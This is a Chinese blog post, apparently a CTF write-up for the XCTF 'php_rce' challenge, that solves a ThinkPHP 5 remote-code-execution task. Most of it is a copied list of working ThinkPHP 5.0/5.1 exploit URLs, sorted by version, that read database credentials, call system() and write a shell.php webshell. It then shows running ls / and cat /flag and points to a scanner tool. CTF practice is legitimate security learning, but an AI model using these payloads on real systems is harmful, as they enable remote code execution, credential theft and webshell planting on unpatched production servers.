攻防世界php_rce,一道简单的thinkphp题目

193 阅读2分钟

进入环境之后可以看到这里的写着thinkphp5,如果不懂具体的漏洞原理(比如说我这样的)还想要把题目做出来其实不难,只需要找到固定的payload,当然这样只适合很简单的题目,或者没有经过修改的框架。下面是thinkphp5的rce-payload

(payload来自www.cnblogs.com/qiushuo/p/1…

ThinkPHP V5漏洞Payload

thinkphp 5.0.22

1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5

1、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1

thinkphp 5.0.21

1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.1.

1、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
2、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
3、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
7、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

5.0.20

1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id


这里有很多的payload,我们随便选择一个,就比如最上面的5.0.22的payload

可以看到database.username为root,我们要得到flag,随便选一个上面的payload,就比如还是5.0.22里面的?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id,把id换成ls /

命令cat /flag就可以了

上面的payload在tp5都可以用(发誓过几天学漏洞原理)这个就是一个简单的tp5的rce利用,很简单的也没有什么绕过等等。

除了手打payload,github上有工具专门验证thinkphp框架的漏洞github.com/zangcc/Aazh…

点击这里的Download ZIP就可以下载当前文件夹的压缩包,解压到目录